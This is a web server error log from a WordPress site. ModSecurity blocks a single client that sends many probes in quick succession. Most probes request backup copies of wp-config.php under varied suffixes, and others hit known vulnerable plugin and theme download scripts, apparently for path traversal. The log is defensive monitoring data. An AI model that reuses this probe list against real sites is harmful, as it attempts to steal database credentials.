[Sun Dec 07 23:38:56.844718 2025] [:error] [pid 5224:tid 5300] [client 159.26.110.84:57121] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWfkPAAkbWt7RJBoF8HpAAAANM"]
[Sun Dec 07 23:38:58.513998 2025] [:error] [pid 5312:tid 5318] [client 159.26.110.84:16100] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.c"] [unique_id "aTWfkuaM49rasZGg_o4hqAAAAAQ"]
[Sun Dec 07 23:39:02.586671 2025] [:error] [pid 9961:tid 9986] [client 159.26.110.84:10579] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bac"] [unique_id "aTWflmQdnfbgcnzr89KRHwAAAVc"]
[Sun Dec 07 23:39:04.205988 2025] [:error] [pid 5224:tid 5290] [client 159.26.110.84:57711] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.tmp" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.tmp"] [unique_id "aTWfmPAAkbWt7RJBoF8HqAAAAMk"]
[Sun Dec 07 23:39:07.754456 2025] [:error] [pid 5224:tid 5300] [client 159.26.110.84:25166] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php"] [unique_id "aTWfm_AAkbWt7RJBoF8HsQAAANM"]
[Sun Dec 07 23:39:09.373076 2025] [:error] [pid 5224:tid 5285] [client 159.26.110.84:28833] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.staging"] [unique_id "aTWfnfAAkbWt7RJBoF8HvAAAAMQ"]
[Sun Dec 07 23:39:12.929110 2025] [:error] [pid 5224:tid 5290] [client 159.26.110.84:41362] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pica-photo-gallery/picadownload.php"] [unique_id "aTWfoPAAkbWt7RJBoF8HxAAAAMk"]
[Sun Dec 07 23:39:14.596219 2025] [:error] [pid 9610:tid 9614] [client 159.26.110.84:46224] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWfosZ4Zl9G0UhQ7w1e9gAAAQI"]
[Sun Dec 07 23:39:18.050276 2025] [:error] [pid 9961:tid 9968] [client 159.26.110.84:38075] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/old-post-spinner/logview.php"] [unique_id "aTWfpmQdnfbgcnzr89KRMAAAAUU"]
[Sun Dec 07 23:39:21.491356 2025] [:error] [pid 9610:tid 9612] [client 159.26.110.84:51409] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.temp"] [unique_id "aTWfqcZ4Zl9G0UhQ7w1fAgAAAQA"]
[Sun Dec 07 23:39:23.126600 2025] [:error] [pid 9610:tid 9628] [client 159.26.110.84:44596] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/responsive-visual/includes/download.php"] [unique_id "aTWfq8Z4Zl9G0UhQ7w1fBgAAARA"]
[Sun Dec 07 23:39:27.811125 2025] [:error] [pid 5312:tid 5314] [client 159.26.110.84:25826] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpo"] [unique_id "aTWfr-aM49rasZGg_o4htwAAAAA"]
[Sun Dec 07 23:39:29.450161 2025] [:error] [pid 5224:tid 5297] [client 159.26.110.84:10410] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contus-video-gallery/hdflvplayer/download.php"] [unique_id "aTWfsfAAkbWt7RJBoF8HzgAAANA"]
[Sun Dec 07 23:39:31.065030 2025] [:error] [pid 5223:tid 5264] [client 159.26.110.84:33367] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/jsmol2wp/php/jsmol.php"] [unique_id "aTWfs_oRJa-T0FB0DNoJQwAAAIo"]
[Sun Dec 07 23:39:34.571410 2025] [:error] [pid 9961:tid 9975] [client 159.26.110.84:25549] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/blog/wp-config.php.bak"] [unique_id "aTWftmQdnfbgcnzr89KRWAAAAUw"]
[Sun Dec 07 23:39:38.040023 2025] [:error] [pid 5223:tid 5254] [client 159.26.110.84:40639] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/blog/wp-config.php~"] [unique_id "aTWfuvoRJa-T0FB0DNoJTwAAAIA"]
[Sun Dec 07 23:39:39.675380 2025] [:error] [pid 5222:tid 5232] [client 159.26.110.84:5728] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "aTWfu98FU0HgkYWmt7tcwwAAAEY"]
[Sun Dec 07 23:39:41.332596 2025] [:error] [pid 5312:tid 5314] [client 159.26.110.84:24485] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/membership-simplified-for-oap-members-only/download.php"] [unique_id "aTWfveaM49rasZGg_o4hxgAAAAA"]
[Sun Dec 07 23:39:42.964805 2025] [:error] [pid 5224:tid 5289] [client 159.26.110.84:39830] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.tar"] [unique_id "aTWfvvAAkbWt7RJBoF8H2AAAAMg"]
[Sun Dec 07 23:39:46.456243 2025] [:error] [pid 5224:tid 5292] [client 159.26.110.84:6859] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wordpress/wp-config.php.bak"] [unique_id "aTWfwvAAkbWt7RJBoF8H4AAAAMs"]
[Sun Dec 07 23:39:48.086691 2025] [:error] [pid 9961:tid 9984] [client 159.26.110.84:37335] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.tar.gz"] [unique_id "aTWfxGQdnfbgcnzr89KRYQAAAVU"]
[Sun Dec 07 23:39:49.708792 2025] [:error] [pid 9610:tid 9626] [client 159.26.110.84:29366] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_tmp"] [unique_id "aTWfxcZ4Zl9G0UhQ7w1fQAAAAQ4"]
[Sun Dec 07 23:39:51.346395 2025] [:error] [pid 5223:tid 5263] [client 159.26.110.84:35503] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php"] [unique_id "aTWfx_oRJa-T0FB0DNoJXAAAAIk"]
[Sun Dec 07 23:39:54.813395 2025] [:error] [pid 5312:tid 5326] [client 159.26.110.84:45447] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/general.php"] [unique_id "aTWfyuaM49rasZGg_o4h0AAAAAw"]
[Sun Dec 07 23:39:56.432878 2025] [:error] [pid 9961:tid 9975] [client 159.26.110.84:8680] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/_wp-config.php.bak"] [unique_id "aTWfzGQdnfbgcnzr89KRdQAAAUw"]
[Sun Dec 07 23:39:58.079969 2025] [:error] [pid 9961:tid 9985] [client 159.26.110.84:37831] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/storepress/framework/utilities/download/getfile.php"] [unique_id "aTWfzmQdnfbgcnzr89KRfQAAAVY"]
[Sun Dec 07 23:39:59.707004 2025] [:error] [pid 5312:tid 5334] [client 159.26.110.84:42729] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.backup.txt"] [unique_id "aTWfz-aM49rasZGg_o4h0wAAABQ"]
[Sun Dec 07 23:40:01.330616 2025] [:error] [pid 9961:tid 9984] [client 159.26.110.84:38282] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php4"] [unique_id "aTWf0WQdnfbgcnzr89KRggAAAVU"]
[Sun Dec 07 23:40:02.954368 2025] [:error] [pid 9610:tid 9623] [client 159.26.110.84:59662] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.cust"] [unique_id "aTWf0sZ4Zl9G0UhQ7w1fTAAAAQs"]
[Sun Dec 07 23:40:04.598650 2025] [:error] [pid 9610:tid 9620] [client 159.26.110.84:10008] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/rttheme18/download.php"] [unique_id "aTWf1MZ4Zl9G0UhQ7w1fTgAAAQg"]
[Sun Dec 07 23:40:06.209425 2025] [:error] [pid 5312:tid 5338] [client 159.26.110.84:59618] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config.bac"] [unique_id "aTWf1uaM49rasZGg_o4h2QAAABg"]
[Sun Dec 07 23:40:07.846293 2025] [:error] [pid 9961:tid 9973] [client 159.26.110.84:56107] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.wp-config.php.bak"] [unique_id "aTWf12Qdnfbgcnzr89KRkwAAAUo"]
[Sun Dec 07 23:40:09.471988 2025] [:error] [pid 9610:tid 9619] [client 159.26.110.84:53206] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/_wp-config.php"] [unique_id "aTWf2cZ4Zl9G0UhQ7w1fUAAAAQc"]
[Sun Dec 07 23:40:11.104394 2025] [:error] [pid 9961:tid 9965] [client 159.26.110.84:23524] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/mac-dock-gallery/macdownload.php"] [unique_id "aTWf22Qdnfbgcnzr89KRngAAAUI"]
[Sun Dec 07 23:40:12.732933 2025] [:error] [pid 5223:tid 5256] [client 159.26.110.84:5841] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php__olds"] [unique_id "aTWf3PoRJa-T0FB0DNoJZQAAAII"]
[Sun Dec 07 23:40:14.348830 2025] [:error] [pid 9610:tid 9636] [client 159.26.110.84:6411] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/MusicMaker/download.php"] [unique_id "aTWf3sZ4Zl9G0UhQ7w1fVwAAARg"]
[Sun Dec 07 23:40:15.960051 2025] [:error] [pid 9610:tid 9634] [client 159.26.110.84:60588] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config-sample.bak"] [unique_id "aTWf38Z4Zl9G0UhQ7w1fXgAAARY"]
[Sun Dec 07 23:40:17.565317 2025] [:error] [pid 9961:tid 9965] [client 159.26.110.84:56652] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.a"] [unique_id "aTWf4WQdnfbgcnzr89KRpwAAAUI"]
[Sun Dec 07 23:40:19.175038 2025] [:error] [pid 9961:tid 9977] [client 159.26.110.84:3733] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aTWf42Qdnfbgcnzr89KRqwAAAU4"]
[Sun Dec 07 23:40:20.825474 2025] [:error] [pid 5312:tid 5315] [client 159.26.110.84:3014] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.html"] [unique_id "aTWf5OaM49rasZGg_o4h6QAAAAE"]
[Sun Dec 07 23:40:22.465363 2025] [:error] [pid 9610:tid 9628] [client 159.26.110.84:8808] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/ypo-theme/download.php"] [unique_id "aTWf5sZ4Zl9G0UhQ7w1fbQAAARA"]
[Sun Dec 07 23:40:24.121421 2025] [:error] [pid 5312:tid 5336] [client 159.26.110.84:47465] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/simple-image-manipulator/controller/download.php"] [unique_id "aTWf6OaM49rasZGg_o4h7gAAABY"]
[Sun Dec 07 23:40:25.743125 2025] [:error] [pid 5223:tid 5275] [client 159.26.110.84:13883] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php______"] [unique_id "aTWf6foRJa-T0FB0DNoJcgAAAJU"]
[Sun Dec 07 23:40:27.360281 2025] [:error] [pid 9610:tid 9615] [client 159.26.110.84:11782] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/imdb-widget/pic.php"] [unique_id "aTWf68Z4Zl9G0UhQ7w1fcAAAAQM"]
[Sun Dec 07 23:40:29.076956 2025] [:error] [pid 5312:tid 5324] [client 159.26.110.84:1316] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp/wp-config.php~"] [unique_id "aTWf7eaM49rasZGg_o4h9QAAAAo"]
[Sun Dec 07 23:40:30.708564 2025] [:error] [pid 5222:tid 5233] [client 159.26.110.84:61194] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config~"] [unique_id "aTWf7t8FU0HgkYWmt7tc0wAAAEc"]
[Sun Dec 07 23:40:32.326909 2025] [:error] [pid 5222:tid 5229] [client 159.26.110.84:1969] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config.good"] [unique_id "aTWf8N8FU0HgkYWmt7tc1QAAAEM"]
[Sun Dec 07 23:40:33.934283 2025] [:error] [pid 9610:tid 9634] [client 159.26.110.84:13277] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php"] [unique_id "aTWf8cZ4Zl9G0UhQ7w1fdAAAARY"]
[Sun Dec 07 23:40:35.571132 2025] [:error] [pid 5312:tid 5319] [client 159.26.110.84:59827] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/zip-attachments/download.php"] [unique_id "aTWf8-aM49rasZGg_o4iAgAAAAU"]
[Sun Dec 07 23:40:37.212488 2025] [:error] [pid 5312:tid 5329] [client 159.26.110.84:5439] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hello-elementor/down.php"] [unique_id "aTWf9eaM49rasZGg_o4iBwAAAA8"]
[Sun Dec 07 23:40:38.863313 2025] [:error] [pid 9610:tid 9631] [client 159.26.110.84:22280] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php6"] [unique_id "aTWf9sZ4Zl9G0UhQ7w1ffAAAARM"]
[Sun Dec 07 23:40:40.479217 2025] [:error] [pid 5222:tid 5234] [client 159.26.110.84:42480] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/paypal-currency-converter-basic-for-woocommerce/proxy.php"] [unique_id "aTWf-N8FU0HgkYWmt7tc6AAAAEg"]
[Sun Dec 07 23:40:42.117649 2025] [:error] [pid 9961:tid 9978] [client 159.26.110.84:22310] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/plugin-newsletter/preview.php"] [unique_id "aTWf-mQdnfbgcnzr89KRyQAAAU8"]
[Sun Dec 07 23:40:43.787970 2025] [:error] [pid 9961:tid 9975] [client 159.26.110.84:58526] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.stage"] [unique_id "aTWf-2Qdnfbgcnzr89KRzgAAAUw"]
[Sun Dec 07 23:40:45.403146 2025] [:error] [pid 9961:tid 9978] [client 159.26.110.84:48880] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config.zip"] [unique_id "aTWf_WQdnfbgcnzr89KR0wAAAU8"]
